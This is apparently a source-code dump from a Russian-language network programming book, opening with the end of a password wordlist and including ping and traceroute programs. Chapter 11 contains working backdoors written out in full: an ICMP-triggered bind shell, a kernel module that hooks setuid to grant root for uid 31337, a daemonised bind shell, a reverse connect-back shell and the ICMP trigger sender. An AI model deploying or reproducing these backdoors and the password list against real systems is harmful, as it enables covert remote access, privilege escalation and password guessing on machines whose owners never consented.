vertigo 777 | vicky 778 | village 779 | virgin 780 | virginia 781 | visitor 782 | wargames 783 | warren 784 | water 785 | weenie 786 | wendi 787 | wendy 788 | whatever 789 | whatnot 790 | whiting 791 | whitney 792 | wholesale 793 | will 794 | william 795 | williamsburg 796 | willie 797 | wilma 798 | winston 799 | wisconsin 800 | wizard 801 | wombat 802 | woodwind 803 | word 804 | work 805 | wormwood 806 | wyoming 807 | xfer 808 | xmodem 809 | xyz 810 | xyzzy 811 | yaco 812 | yang 813 | yellowstone 814 | yolanda 815 | yosemite 816 | zap 817 | zimmerman 818 | zmodem -------------------------------------------------------------------------------- /part2/Chapter 11/bd_icmp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char *argv[]) 11 | { 12 | struct ipacket { 13 | struct iphdr ip; 14 | struct icmp icmp; 15 | } *packet; 16 | 17 | int isock, sd, cli; 18 | int pid; 19 | struct sockaddr_in servaddr; 20 | 21 | daemon(0, 0); 22 | packet = (struct ipacket *) malloc(sizeof(struct iphdr) + sizeof(struct icmp)); 23 | signal(SIGCHLD, SIG_IGN); 24 | 25 | while (1) { 26 | if ( (isock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 27 | perror("isock socket() failed"); 28 | exit(-1); 29 | } 30 | while (packet->icmp.icmp_id != 0xABCD) { 31 | recv(isock, packet, sizeof(struct ipacket), 0); 32 | } 33 | if (pid = fork()) { 34 | close(isock); 35 | waitpid(pid, NULL, NULL); 36 | } else { 37 | servaddr.sin_family = AF_INET; 38 | servaddr.sin_addr.s_addr = INADDR_ANY; 39 | servaddr.sin_port = htons(packet->icmp.icmp_seq); 40 | sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); 41 | if (bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr))) 42 | perror("bind() failed"); 43 | listen(sd, 1); 44 | cli = accept(sd, NULL, 0); 45 | dup2(cli, 0); 46 | dup2(cli, 1); 47 | dup2(cli, 2); 48 | execl("/bin/sh", "sh", NULL); 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /part2/Chapter 11/bdmod.c: -------------------------------------------------------------------------------- 1 | /* Module backdoor for Linux 2.4.x */ 2 | #define __KERNEL__ 3 | #define MODULE 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | extern void *sys_call_table[]; 12 | int (*orig_setuid)(uid_t); 13 | 14 | int change_setuid(uid_t uid) 15 | { 16 | if (uid == 31337) 17 | { 18 | current->uid = 0; 19 | current->euid = 0; 20 | current->gid = 0; 21 | current->egid = 0; 22 | return 0; 23 | } 24 | return (*orig_setuid)(uid); 25 | } 26 | 27 | int init_module(void) 28 | { 29 | orig_setuid = sys_call_table[__NR_setuid32]; 30 | sys_call_table[__NR_setuid32] = change_setuid; 31 | return 0; 32 | } 33 | 34 | void cleanup_module(void) 35 | { 36 | sys_call_table[__NR_setuid32] = orig_setuid; 37 | } 38 | -------------------------------------------------------------------------------- /part2/Chapter 11/bindshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char *argv[]) 8 | { 9 | int sd, cli, port; 10 | struct sockaddr_in servaddr; 11 | port = 31337; 12 | 13 | daemon(1, 0); 14 | if (argc != 1) port = atoi(argv[1]); 15 | 16 | servaddr.sin_family = AF_INET; 17 | servaddr.sin_addr.s_addr = INADDR_ANY; 18 | servaddr.sin_port = htons(port); 19 | 20 | sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); 21 | if (bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr))) 22 | perror("bind() failed"); 23 | 24 | listen(sd, 1); 25 | cli = accept(sd, NULL, 0); 26 | dup2(cli, 0); 27 | dup2(cli, 1); 28 | dup2(cli, 2); 29 | execl("/bin/sh", "sh", NULL); 30 | } 31 | -------------------------------------------------------------------------------- /part2/Chapter 11/conback.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main(int argc, char *argv[]) 9 | { 10 | int sd; 11 | struct sockaddr_in serv_addr; 12 | 13 | if (argc != 3) { 14 | printf("Usage: %s \n", argv[0]); 15 | exit(-1); 16 | } 17 | 18 | daemon(1, 0); 19 | serv_addr.sin_family = AF_INET; 20 | serv_addr.sin_addr.s_addr = inet_addr(argv[1]); 21 | serv_addr.sin_port = htons(atoi(argv[2])); 22 | sd = socket(PF_INET, SOCK_STREAM, 0); 23 | if (connect(sd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) 24 | perror("connect() failed"); 25 | dup2(sd, 0); 26 | dup2(sd, 1); 27 | dup2(sd, 2); 28 | execl("/bin/sh", "sh", 0); 29 | } 30 | -------------------------------------------------------------------------------- /part2/Chapter 11/icmpsend.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | unsigned short in_cksum(unsigned short *addr, int len) 9 | { 10 | unsigned short result; 11 | unsigned int sum = 0; 12 | 13 | while (len > 1) { 14 | sum += *addr++; 15 | len -= 2; 16 | } 17 | 18 | if (len == 1) 19 | sum += *(unsigned char*) addr; 20 | 21 | sum = (sum >> 16) + (sum & 0xFFFF); 22 | sum += (sum >> 16); 23 | result = ~sum; 24 | return result; 25 | } 26 | 27 | int main(int argc, char *argv[]) 28 | { 29 | int sd; 30 | const int on = 1; 31 | int type, port; 32 | struct sockaddr_in servaddr; 33 | 34 | char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp)]; 35 | struct iphdr *ip_hdr = (struct iphdr *)sendbuf; 36 | struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr)); 37 | 38 | port = 31337; 39 | type = 0; 40 | 41 | if ((argc < 3) || (argc > 5)) { 42 | fprintf(stderr, 43 | "Usage: %s [port] [type]\n" 44 | "port - default 31337\n" 45 | "type - default Echo Reply(0).\n", 46 | argv[0]); 47 | exit(-1); 48 | } 49 | 50 | if (argc > 3) 51 | port = atoi(argv[3]); 52 | 53 | if (argc == 5) 54 | type = atoi(argv[4]); 55 | 56 | printf("Port: %d, Type: %d.\n", port, type); 57 | 58 | sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); 59 | if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { 60 | perror("setsockopt() failed"); 61 | exit(-1); 62 | } 63 | 64 | bzero(&servaddr, sizeof(servaddr)); 65 | servaddr.sin_family = AF_INET; 66 | servaddr.sin_addr.s_addr = inet_addr(argv[2]); 67 | 68 | ip_hdr->ihl = 5; 69 | ip_hdr->version = 4; 70 | ip_hdr->tos = 0; 71 | ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp)); 72 | ip_hdr->id = htons(getuid()); 73 | ip_hdr->ttl = 255; 74 | ip_hdr->protocol = IPPROTO_ICMP; 75 | ip_hdr->saddr = inet_addr(argv[1]); 76 | ip_hdr->daddr = inet_addr(argv[2]); 77 | ip_hdr->check = 0; 78 | ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr)); 79 | 80 | icmp_hdr->icmp_type = type; 81 | icmp_hdr->icmp_code = 0; 82 | icmp_hdr->icmp_id = 0xABCD; 83 | icmp_hdr->icmp_seq = port; 84 | icmp_hdr->icmp_cksum = 0; 85 | icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp)); 86 | 87 | if(sendto(sd, 88 | sendbuf, 89 | sizeof(sendbuf), 90 | 0, 91 | (struct sockaddr *)&servaddr, 92 | sizeof(servaddr)) < 0) { 93 | perror("sendto() failed"); 94 | exit(-1); 95 | } 96 | printf("Packet successfuly sending.\n"); 97 | close(sd); 98 | } 99 | -------------------------------------------------------------------------------- /part2/Chapter 4/xping.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define BUFSIZE 1500 15 | 16 | int sd; 17 | /* дескриптор сокета */ 18 | pid_t pid; /* идентификатор нашего процесса PID */ 19 | struct sockaddr_in servaddr; /* структура sockaddr() для отправки пакета */ 20 | struct sockaddr_in from; /* структура sockaddr() для получения пакета */ 21 | 22 | double tmin = 999999999.0; /* минимальное время обращения */ 23 | double tmax = 0; /* максимальное время обращения */ 24 | double tsum = 0; /* сумма всех времен для вычисления среднего времени */ 25 | int nsent = 0; /* количество отправленных пакетов */ 26 | int nreceived = 0; /* количество полученных пакетов */ 27 | 28 | /* прототипы функций */ 29 | void pinger(void) 30 | ; 31 | void output(char *, int, struct timeval *) 32 | ; 33 | void catcher(int); 34 | void tv_sub(struct timeval *, struct timeval *) 35 | ; 36 | unsigned short in_cksum(unsigned short *, int) 37 | ; 38 | 39 | /*------------------------*/ 40 | /* Главная функция main() */ 41 | /*------------------------*/ 42 | int 43 | main(int argc, char *argv[]) 44 | { 45 | 46 | int size; 47 | int fromlen; 48 | int n; 49 | struct timeval tval; 50 | char recvbuf[BUFSIZE]; 51 | struct hostent *hp; 52 | struct sigaction act; 53 | struct itimerval timer; 54 | const int on = 1; 55 | 56 | if (argc != 2) { 57 | fprintf(stderr, "Usage: %s \n", argv[0]); 58 | exit(-1); 59 | } 60 | 61 | pid = getpid(); 62 | 63 | /* установка обработчика сигналов SIGALRM и SIGINT */ 64 | memset(&act, 0, sizeof(act)); 65 | /* обработчиком назначается функция catcher() */ 66 | act.sa_handler = &catcher; 67 | sigaction(SIGALRM, &act, NULL); 68 | sigaction(SIGINT, &act, NULL); 69 | 70 | if ( (hp = gethostbyname(argv[1])) == NULL) { 71 | herror("gethostbyname() failed"); 72 | exit(-1); 73 | } 74 | 75 | if ( ( 76 | sd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 77 | perror("socket() failed"); 78 | exit(-1); 79 | } 80 | 81 | /* восстановление исходных прав */ 82 | setuid(getuid()); 83 | 84 | /* даем возможность посылать широковещательные сообщения */ 85 | setsockopt(sd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)); 86 | 87 | 88 | /* увеличиваем размер приемного буфера */ 89 | size = 60 *1024; 90 | setsockopt(sd, SOL_SOCKET, SO_RCVBUF, &size, sizeof(size)); 91 | 92 | 93 | /* запускаем интервальный таймер, посылающий сигнал SIGALRM */ 94 | /* таймер сработает через 1 микросекунду... */ 95 | timer.it_value.tv_sec=0; 96 | timer.it_value.tv_usec=1; 97 | /* ... и будет активироваться каждую секунду */ 98 | timer.it_interval.tv_sec=1; 99 | timer.it_interval.tv_usec=0; 100 | /* запуск таймера реального времени */ 101 | setitimer(ITIMER_REAL, &timer, NULL); 102 | 103 | bzero(&servaddr, sizeof(servaddr)); 104 | servaddr.sin_family = AF_INET; 105 | servaddr.sin_addr= *((struct in_addr *) hp->h_addr); 106 | 107 | fromlen = sizeof(from); 108 | 109 | /* запускаем бесконечный цикл, в котором будем принимать пакеты */ 110 | while (1) { 111 | n = recvfrom(sd, recvbuf, sizeof(recvbuf), 0, 112 | (struct sockaddr *)&from, &fromlen); 113 | 114 | if (n < 0) { 115 | if (errno == EINTR) 116 | continue; 117 | perror("recvfrom() failed"); 118 | continue; 119 | } 120 | 121 | 122 | /* определяем текущее системное время */ 123 | gettimeofday(&tval, NULL); 124 | 125 | /* вызываем функцию для разбора принятого пакета и вывода данных на экран */ 126 | output(recvbuf, n, &tval); 127 | } 128 | 129 | return 0; 130 | } 131 | 132 | /*---------------------------------------*/ 133 | /* Разбор пакета и вывод данных на экран */ 134 | /*---------------------------------------*/ 135 | void output(char *ptr, int len, struct timeval *tvrecv) 136 | { 137 | int iplen; 138 | int icmplen; 139 | struct ip *ip; 140 | struct icmp *icmp; 141 | struct timeval *tvsend; 142 | double rtt; 143 | 144 | ip = (struct ip *) ptr; /* начало IP-заголовка */ 145 | iplen = ip->ip_hl << 2; /* длина IP-заголовка */ 146 | 147 | icmp = (struct icmp *) (ptr + iplen); /* начало ICMP-заголовка */ 148 | if ( (icmplen = len - iplen) < 8) /* длина ICMP-заголовка */ 149 | fprintf(stderr, "icmplen (%d) < 8", icmplen); 150 | 151 | if (icmp->icmp_type == ICMP_ECHOREPLY) { 152 | 153 | if (icmp->icmp_id != pid) 154 | return; /* ответ не на наш запрос ECHO REQUEST */ 155 | 156 | tvsend = (struct timeval *) icmp->icmp_data; 157 | tv_sub(tvrecv, tvsend); 158 | 159 | /* время оборота пакета (round-trip time) */ 160 | rtt = tvrecv->tv_sec * 1000.0 + tvrecv->tv_usec / 1000.0; 161 | 162 | nreceived++; 163 | 164 | tsum += rtt; 165 | if (rtt < tmin) 166 | tmin = rtt; 167 | if (rtt > tmax) 168 | tmax = rtt; 169 | 170 | printf("%d bytes from %s: icmp_seq=%u, ttl=%d, time=%.3f ms\n", 171 | icmplen, inet_ntoa(from.sin_addr), 172 | 173 | icmp->icmp_seq, ip->ip_ttl, rtt); 174 | } 175 | 176 | } 177 | 178 | 179 | /*-------------------------------------------------*/ 180 | /* Формирование и отсылка ICMP ECHO REQUEST пакета */ 181 | /*-------------------------------------------------*/ 182 | void pinger(void) 183 | { 184 | int icmplen; 185 | struct icmp *icmp; 186 | char sendbuf[BUFSIZE]; 187 | 188 | icmp = (struct icmp *) sendbuf; 189 | 190 | /* заполняем все поля ICMP-сообщения */ 191 | icmp->icmp_type = ICMP_ECHO; 192 | icmp->icmp_code = 0; 193 | icmp->icmp_id = pid; 194 | icmp->icmp_seq = nsent++; 195 | gettimeofday((struct timeval *) icmp->icmp_data, NULL); 196 | 197 | /* длина ICMP-заголовка составляет 8 байт и 56 байт данных */ 198 | icmplen = 8 + 56; 199 | /* контрольная сумма ICMP-заголовка и данных */ 200 | icmp->icmp_cksum = 0; 201 | icmp->icmp_cksum = in_cksum((unsigned short *) icmp, icmplen); 202 | 203 | if (sendto(sd, sendbuf, icmplen, 0, 204 | (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { 205 | perror("sendto() failed"); 206 | exit(-1); 207 | } 208 | } 209 | 210 | /*---------------------------------*/ 211 | /* Вычитание двух timeval структур */ 212 | /*---------------------------------*/ 213 | void tv_sub(struct timeval *out, struct timeval *in) 214 | { 215 | if ( (out->tv_usec -= in->tv_usec) < 0) { 216 | out->tv_sec--; 217 | out->tv_usec += 1000000; 218 | } 219 | out->tv_sec -= in->tv_sec; 220 | } 221 | 222 | /*--------------------------------------*/ 223 | /* Обработчик сигналов SIGALRM и SIGINT */ 224 | /*--------------------------------------*/ 225 | 226 | void catcher(int signum) 227 | { 228 | if (signum == SIGALRM) 229 | { 230 | pinger(); 231 | 232 | return; 233 | 234 | } else if (signum == SIGINT) { 235 | printf("\n--- %s ping statistics ---\n", inet_ntoa(servaddr.sin_addr)); 236 | printf("%d packets transmitted, ", nsent); 237 | printf("%d packets received, ", nreceived); 238 | if (nsent) 239 | { 240 | if (nreceived > nsent) 241 | printf("-- somebody's printing up packets!"); 242 | else 243 | printf("%d%% packet loss", 244 | (int) (((nsent-nreceived)*100) / 245 | nsent)); 246 | } 247 | printf("\n"); 248 | if (nreceived) 249 | printf("round-trip min/avg/max = %.3f/%.3f/%.3f ms\n", 250 | tmin, 251 | tsum / nreceived, 252 | tmax); 253 | fflush(stdout); 254 | exit(-1); 255 | } 256 | } 257 | 258 | /*------------------------------*/ 259 | /* Вычисление контрольной суммы */ 260 | /*------------------------------*/ 261 | unsigned short in_cksum(unsigned short *addr, int len) 262 | { 263 | unsigned short result; 264 | unsigned int sum = 0; 265 | 266 | /* складываем все двухбайтовые слова */ 267 | while (len > 1) { 268 | sum += *addr++; 269 | len -= 2; 270 | } 271 | 272 | /* если остался лишний байт, прибавляем его к сумме */ 273 | if (len == 1) 274 | sum += *(unsigned char*) addr; 275 | 276 | sum = (sum >> 16) + (sum & 0xFFFF); /* добавляем перенос */ 277 | sum += (sum >> 16); /* еще раз */ 278 | result = ~sum; /* инвертируем результат */ 279 | return result; 280 | } 281 | 282 | -------------------------------------------------------------------------------- /part2/Chapter 5/tracericmp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define BUFSIZE 1500 13 | 14 | int sd; 15 | /* дескриптор сокета */ 16 | pid_t pid; 17 | /* идентификатор нашего процесса PID */ 18 | struct sockaddr_in sasend; 19 | /* структура sockaddr() для отправки пакета */ 20 | struct sockaddr_in sarecv; 21 | /* структура sockaddr() для получения пакета */ 22 | struct sockaddr_in salast; 23 | /* последняя структура sockaddr() для получения */ 24 | 25 | int ttl; 26 | int probe; 27 | int max_ttl = 30; 28 | /* максимальное значение поля TTL */ 29 | int nprobes = 3; 30 | /* количество пробных пакетов */ 31 | 32 | /* прототипы функций */ 33 | int output(int, struct timeval *); 34 | void tv_sub(struct timeval *, struct timeval *); 35 | unsigned short in_cksum(unsigned short *, int); 36 | 37 | /*------------------------*/ 38 | /* Главная функция main() */ 39 | /*------------------------*/ 40 | int main(int argc, char *argv[]) 41 | { 42 | int seq; 43 | int code; 44 | int done; 45 | double rtt; 46 | struct timeval *tvsend; 47 | struct timeval tvrecv; 48 | struct hostent *hp; 49 | int icmplen; 50 | struct icmp *icmp; 51 | char sendbuf[BUFSIZE]; 52 | 53 | if (argc != 2) { 54 | fprintf(stderr, "Usage: %s \n", argv[0]); 55 | exit(-1); 56 | } 57 | 58 | pid = getpid(); 59 | 60 | if ( (hp = gethostbyname(argv[1])) == NULL) { 61 | herror("gethostbyname() failed"); 62 | exit(-1); 63 | } 64 | 65 | if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 66 | perror ("socket() failed"); 67 | exit(-1); 68 | } 69 | 70 | setuid(getuid()); 71 | 72 | bzero(&sasend, sizeof(sasend)); 73 | sasend.sin_family = AF_INET; 74 | sasend.sin_addr= *((struct in_addr *) hp->h_addr); 75 | 76 | 77 | seq = 0; 78 | done = 0; 79 | for (ttl = 1; ttl <= max_ttl && done == 0; ttl++) { 80 | setsockopt(sd, SOL_IP, IP_TTL, &ttl, sizeof(int)); 81 | bzero(&salast, sizeof(salast)); 82 | 83 | printf("%2d ", ttl); 84 | fflush(stdout); 85 | 86 | for (probe = 0; probe < nprobes; probe++) { 87 | 88 | icmp = (struct icmp *) sendbuf; 89 | 90 | /* заполняем все поля ICMP-сообщения */ 91 | icmp->icmp_type = ICMP_ECHO; 92 | icmp->icmp_code = 0; 93 | icmp->icmp_id = pid; 94 | icmp->icmp_seq = ++seq; 95 | tvsend = (struct timeval *) icmp->icmp_data; 96 | gettimeofday(tvsend, NULL); 97 | 98 | /* длина ICMP-заголовка составляет 8 байт и 56 байт данных */ 99 | icmplen = 8 + 56; 100 | /* контрольная сумма ICMP-заголовка и данных */ 101 | icmp->icmp_cksum = 0; 102 | icmp->icmp_cksum = in_cksum((unsigned short *) icmp, icmplen); 103 | 104 | if (sendto(sd, sendbuf, icmplen, 0, (struct sockaddr *)&sasend, sizeof(sasend)) < 0) { 105 | perror("sendto() failed"); 106 | exit(-1); 107 | } 108 | 109 | if ( (code = output(seq, &tvrecv)) == -3) 110 | printf(" *"); 111 | else { 112 | if (memcmp(&sarecv.sin_addr, &salast.sin_addr, sizeof(sarecv.sin_addr)) != 0) { 113 | if ( (hp = gethostbyaddr(&sarecv.sin_addr, sizeof(sarecv.sin_addr), sarecv.sin_family)) != 0) 114 | printf(" %s (%s)", inet_ntoa(sarecv.sin_addr), hp->h_name); 115 | else 116 | printf(" %s", inet_ntoa(sarecv.sin_addr)); 117 | memcpy(&salast.sin_addr, &sarecv.sin_addr, sizeof(salast.sin_addr)); 118 | } 119 | 120 | tv_sub(&tvrecv, tvsend); 121 | rtt = tvrecv.tv_sec * 1000.0 + tvrecv.tv_usec / 1000.0; 122 | printf(" %.3f ms", rtt); 123 | 124 | if (code == -1) 125 | ++done; 126 | } 127 | 128 | fflush(stdout); 129 | } 130 | 131 | printf("\n"); 132 | } 133 | 134 | return 0; 135 | } 136 | 137 | /*---------------------------------------------------------------*/ 138 | /* Разбор принятого пакета */ 139 | /* */ 140 | /* Возвращает: */ 141 | /* -3 в случае истечения времени ожидания; */ 142 | /* -2 в случае получения сообщения ICMP time exceeded in transit */ 143 | /* (программа продолжает работать); */ 144 | /* -1 в случае получения сообщения ICMP Echo Reply */ 145 | /* (программа завершается). */ 146 | /*---------------------------------------------------------------*/ 147 | int output(int seq, struct timeval *tv) 148 | { 149 | 150 | int n; 151 | int len; 152 | int hlen1; 153 | int hlen2; 154 | struct ip *ip; 155 | struct ip *hip; 156 | struct icmp *icmp; 157 | struct icmp *hicmp; 158 | double rtt; 159 | char recvbuf[BUFSIZE]; 160 | fd_set fds; 161 | struct timeval wait; 162 | 163 | wait.tv_sec = 4; 164 | /* ждать ответа не более 4-х секунд */ 165 | wait.tv_usec = 0; 166 | 167 | for (;;) { 168 | len = sizeof(sarecv); 169 | 170 | FD_ZERO(&fds); 171 | FD_SET(sd, &fds); 172 | 173 | if (select(sd+1, &fds, NULL, NULL, &wait) > 0) 174 | n = recvfrom(sd, recvbuf, sizeof(recvbuf), 0, (struct sockaddr*)&sarecv, &len); 175 | 176 | else if (!FD_ISSET(sd, &fds)) 177 | return (-3); 178 | else 179 | perror("recvfrom() failed"); 180 | 181 | gettimeofday(tv, NULL); 182 | 183 | ip = (struct ip *) recvbuf; /* начало IP-заголовка */ 184 | hlen1 = ip->ip_hl << 2; /* длина IP-заголовка */ 185 | 186 | icmp = (struct icmp *) (recvbuf + hlen1); /* начало ICMP-заголовка */ 187 | 188 | 189 | if (icmp->icmp_type == ICMP_TIMXCEED && 190 | icmp->icmp_code == ICMP_TIMXCEED_INTRANS) { 191 | hip = (struct ip *)(recvbuf + hlen1 + 8); 192 | hlen2 = hip->ip_hl << 2; 193 | hicmp = (struct icmp *) (recvbuf + hlen1 + 8 + hlen2); 194 | if (hicmp->icmp_id == pid && hicmp->icmp_seq == seq) 195 | 196 | return (-2); 197 | } 198 | 199 | if (icmp->icmp_type == ICMP_ECHOREPLY && 200 | icmp->icmp_id == pid && 201 | icmp->icmp_seq == seq) 202 | return (-1); 203 | } 204 | 205 | } 206 | 207 | 208 | 209 | /*---------------------------------*/ 210 | /* Вычитание двух timeval структур */ 211 | 212 | /*---------------------------------*/ 213 | 214 | void tv_sub(struct timeval *out, struct timeval *in) 215 | { 216 | if ( (out->tv_usec -= in->tv_usec) < 0) { 217 | out->tv_sec--; 218 | out->tv_usec += 1000000; 219 | } 220 | out->tv_sec -= in->tv_sec; 221 | } 222 | 223 | /*------------------------------*/ 224 | /* Вычисление контрольной суммы */ 225 | 226 | /*------------------------------*/ 227 | unsigned short in_cksum(unsigned short *addr, int len) 228 | { 229 | unsigned short result; 230 | unsigned int sum = 0; 231 | 232 | /* складываем все двухбайтовые слова */ 233 | while (len > 1) { 234 | sum += *addr++; 235 | len -= 2; 236 | } 237 | 238 | /* если остался лишний байт, прибавляем его к сумме */ 239 | if (len == 1) 240 | sum += *(unsigned char*) addr; 241 | 242 | sum = (sum >> 16) + (sum & 0xFFFF); 243 | /* добавялем перенос */ 244 | sum += (sum >> 16); 245 | /* еще раз */ 246 | result = ~sum; 247 | /* инвертируем результат */ 248 | return result; 249 | } 250 | 251 | -------------------------------------------------------------------------------- /part2/Chapter 5/tracerudp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #define BUFSIZE 1500 15 | 16 | /* структура данных UDP */ 17 | struct outdata { 18 | int outdata_seq; /* порядковый номер */ 19 | int outdata_ttl; /* значение TTL, с которым пакет отправляется */ 20 | struct timeval outdata_tv; /* время отправки пакета */ 21 | }; 22 | 23 | char recvbuf[BUFSIZE]; 24 | char sendbuf[BUFSIZE]; 25 | 26 | int sendfd; /* дескриптор сокета для отправки UDP-дейтаграмм */ 27 | int recvfd; /* дескриптор сырого сокета для приема ICMP-сообщений */ 28 | struct sockaddr_in sasend; 29 | /* структура sockaddr() для отправки пакета */ 30 | struct sockaddr_in sabind; 31 | /* структура sockaddr() для связывания порта отправителя */ 32 | struct sockaddr_in sarecv; 33 | /* структура sockaddr() для получения пакета */ 34 | struct sockaddr_in salast; 35 | /* последняя структура sockaddr() для получения */ 36 | int sport; 37 | int dport; 38 | 39 | int ttl; 40 | int probe; 41 | int max_ttl = 30; 42 | /* максимальное значение поля TTL */ 43 | int nprobes = 3; 44 | /* количество пробных пакетов */ 45 | int dport = 32768 + 666; 46 | /* начальный порт получателя */ 47 | int datalen = sizeof(struct outdata); 48 | /* длина поля данных UDP */ 49 | 50 | /* прототипы функций */ 51 | void tv_sub(struct timeval *, struct timeval *); 52 | 53 | int packet_ok(int, struct timeval *) 54 | ; 55 | 56 | /*------------------------*/ 57 | /* Главная функция main() */ 58 | /*------------------------*/ 59 | int main(int argc, char *argv[]) 60 | { 61 | int seq; 62 | int code; 63 | int done; 64 | double rtt; 65 | struct hostent *hp; 66 | struct outdata *outdata; 67 | struct timeval tvrecv; 68 | 69 | if (argc != 2) 70 | { 71 | fprintf(stderr, "Usage: %s \n", argv[0]); 72 | exit(-1); 73 | } 74 | 75 | if ( (hp = gethostbyname(argv[1])) == NULL) { 76 | herror("gethostbyname() failed"); 77 | exit(-1); 78 | } 79 | 80 | if ( (recvfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 81 | perror("socket() failed"); 82 | exit(-1); 83 | } 84 | 85 | /* восстановление исходных прав */ 86 | setuid(getuid()); 87 | 88 | if ( (sendfd = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { 89 | perror("socket() failed"); 90 | exit(-1); 91 | } 92 | 93 | sport = (getpid() & 0xffff) | 0x8000; 94 | /* номер порта UDP отправителя */ 95 | 96 | bzero(&sasend, sizeof(sasend)); 97 | sasend.sin_family = AF_INET; 98 | sasend.sin_addr= *((struct in_addr *) hp->h_addr); 99 | 100 | sabind.sin_family = AF_INET; 101 | sabind.sin_port = htons(sport); 102 | if (bind(sendfd, (struct sockaddr *)&sabind, sizeof(sabind)) != 0) 103 | perror("bind() failed"); 104 | 105 | 106 | 107 | seq = 0; 108 | done = 0; 109 | for (ttl = 1; ttl <= max_ttl && done == 0; ttl++) { 110 | setsockopt(sendfd, SOL_IP, IP_TTL, &ttl, sizeof(int)); 111 | bzero(&salast, sizeof(salast)); 112 | 113 | printf("%2d ", ttl); 114 | fflush(stdout); 115 | 116 | for (probe = 0; probe < nprobes; probe++) { 117 | outdata = (struct outdata *)sendbuf; 118 | outdata->outdata_seq = ++seq; 119 | outdata->outdata_ttl = ttl; 120 | gettimeofday(&outdata->outdata_tv, NULL); 121 | 122 | sasend.sin_port = htons(dport + seq); 123 | 124 | if (sendto(sendfd, sendbuf, datalen, 0, (struct sockaddr *)&sasend, sizeof(sasend)) < 0) { 125 | perror("sendto() failed"); 126 | exit(-1); 127 | } 128 | 129 | if ( (code = packet_ok(seq, &tvrecv)) == -3) 130 | 131 | printf(" *"); /* истечение времени ожидания, нет ответа */ 132 | else { 133 | if ( memcmp(&sarecv.sin_addr, &salast.sin_addr, sizeof(sarecv.sin_addr)) != 0) { 134 | 135 | if ( (hp = gethostbyaddr(&sarecv.sin_addr, sizeof(sarecv.sin_addr), sarecv.sin_family)) != 0) 136 | printf(" %s (%s)", inet_ntoa(sarecv.sin_addr), hp->h_name); 137 | else 138 | printf(" %s", inet_ntoa(sarecv.sin_addr)); 139 | memcpy(&salast.sin_addr, &sarecv.sin_addr, sizeof(salast.sin_addr)); 140 | } 141 | 142 | tv_sub(&tvrecv, &outdata->outdata_tv); 143 | rtt = tvrecv.tv_sec * 1000.0 + tvrecv.tv_usec / 1000.0; 144 | printf(" %.3f ms", rtt); 145 | 146 | if (code == -1) 147 | ++done; 148 | } 149 | 150 | fflush(stdout); 151 | } 152 | 153 | printf("\n"); 154 | } 155 | 156 | return 0; 157 | } 158 | 159 | /* 160 | ---------------------------------------------------------------*/ 161 | /* Разбор принятого пакета */ 162 | /* */ 163 | /* Возвращает: */ 164 | /* -3 в случае истечения времени ожидания; */ 165 | /* -2 в случае получения сообщения ICMP time exceeded in transit */ 166 | /* (программа продолжает работать); */ 167 | /* -1 в случае получения сообщения ICMP port unreachable */ 168 | /* (программа завершается) 169 | . */ 170 | /*---------------------------------------------------------------*/ 171 | 172 | int packet_ok(int seq, struct timeval *tv) 173 | { 174 | int n; 175 | int len; 176 | int hlen1; 177 | int hlen2; 178 | struct ip *ip; 179 | struct ip *hip; 180 | struct icmp *icmp; 181 | struct udphdr *udp; 182 | fd_set fds; 183 | struct timeval wait; 184 | 185 | wait.tv_sec = 4; 186 | /* ждать ответа не более 4-х секунд */ 187 | wait.tv_usec = 0; 188 | 189 | for (;;) { 190 | len = sizeof(sarecv); 191 | 192 | FD_ZERO(&fds); 193 | FD_SET(recvfd, &fds); 194 | 195 | if (select(recvfd+1, &fds, NULL, NULL, &wait) > 0) 196 | n = recvfrom(recvfd, recvbuf, sizeof(recvbuf), 0, (struct sockaddr*)&sarecv, &len); 197 | else if (!FD_ISSET(recvfd, &fds)) 198 | return (-3); 199 | else 200 | perror("recvfrom() failed"); 201 | 202 | gettimeofday(tv, NULL); 203 | 204 | ip = (struct ip *) recvbuf; /* начало IP-заголовка */ 205 | hlen1 = ip->ip_hl << 2; /* длина IP-заголовка */ 206 | 207 | icmp = (struct icmp *) (recvbuf + hlen1); /* начало ICMP-заголовка */ 208 | /* 